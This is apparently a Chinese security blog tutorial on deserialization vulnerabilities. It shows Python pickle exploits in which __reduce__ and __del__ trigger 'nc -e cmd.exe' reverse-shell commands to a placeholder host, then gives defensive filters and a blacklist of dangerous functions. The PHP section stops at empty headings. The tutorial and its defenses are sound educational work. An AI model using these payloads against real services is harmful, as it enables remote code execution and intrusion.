您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

关于反序列化攻击方法探究

合天网安实验室 发布时间:2018-10-24 19:46:25 ,浏览量:0

grammar_cjkRuby: true

反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下

 Python 反序列化漏洞

 简介

Python的主流序列化方式有两种Pickle&Json这里介绍由于Pickle的错误使用造成的漏洞利用

 成因

Python 中的pickle模块是可以将各种对象序列化存储的,可支持的序列化对象有整型、浮点、元组、数组、函数、类等。这里之所以产生漏洞其原因是可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发 __reduce__函数从而触发自己的恶意代码。看一下利用方法

 利用

Python Pickle 序列化函数有三类分别如下:

import pickle
import cPickle as pickle
from pickle import Pickle
from pickle import Unpickle

最后一种只能存储到文件,不可以到内存

具体的利用方法呢有两种形式 1. 利用 __del__ 魔法函数 触发恶意代码 2. 利用 __reduce__触发反序列化重构

情况1 析构函数触发

触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码 Generate.py

import pickle
class test(object):
    def __init__(self):
        self.a = "nc -e cmd.exe 127.0.0.1 81"
with open('log','wb') as f:
    pickle.dump(test(),f)

Test.py

import pickle
import os
class test(object):
    def __init__(self):
        pass
    def __del__(self):
       os.system(self.a)
with open('log','r') as f:
    pickle.load(f)

情况2 利用reduce魔法函数

利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。

Generate.py

import pickle
class test(object):
    def __reduce__(self):
        return eval,("__import__('os').system('nc -e cmd 127.0.0.1 81')",)
with open('log','wb') as f:
    pickle.dump(test(),f)
import pickle
import subprocess
class test(object):
    def __reduce__(self):
        return subprocess.call,("nc -e cmd.exe 127.0.0.1 81 ",)
with open('log','wb') as f:
    pickle.dump(test(),f)

Test.py

import pickle
with open('log', 'r') as f:
    pickle.load(f)

防范

那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法

1 @装饰器
import pickle
from functools import wraps
black_list = ['subprocess']
def __HookPickle__(func):
    @wraps(func)
    def f(*args):
        data = args[0].read()
        for i in black_list:
            if i in data:
                exit()
        args[0].seek(0)
        return func(*args)
    return f
@__HookPickle__
def load(f):
    return pickle.load(f)
with open('log', 'r') as f:
    load(f)
2 直接过滤

这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的

unpkler.dispatch[REDUCR] 其中REDUCE='R' 然而unpkler.dispatch['R'] = reload_reduce

reload_reduce函数见下图

_hook_call 其实封装的是reload_reduce函数......

from os import *
from sys import *
from pickle import *
from io import open as Open
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
black_type_list = [eval]
class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            'the callable object {value} is not allowed'.format(value=str(value)))
def _hook_call(func):
    def wrapper(*args, **kwargs):
        print args[0].stack
        if args[0].stack[-2] in black_type_list:
            raise FilterException(args[0].stack[-2])
        return func(*args, **kwargs)
    return wrapper
def LOAD(file):
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return Unpkler(file).load()
with Open("test","rb") as f:
    LOAD(f)

最后的最后你需要一个black_list ,这里提供一个

[eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]

 PHP 反序列化漏洞

 简介

PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。

成因

和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • 析构函数__destruct():当对象被销毁时会自动调用。

  • __wakeup() :如前所提,unserialize()时会自动调用。

利用

简单利用


命名空间反序列化运用
            
关注
打赏
1665306545
查看更多评论
0.0721s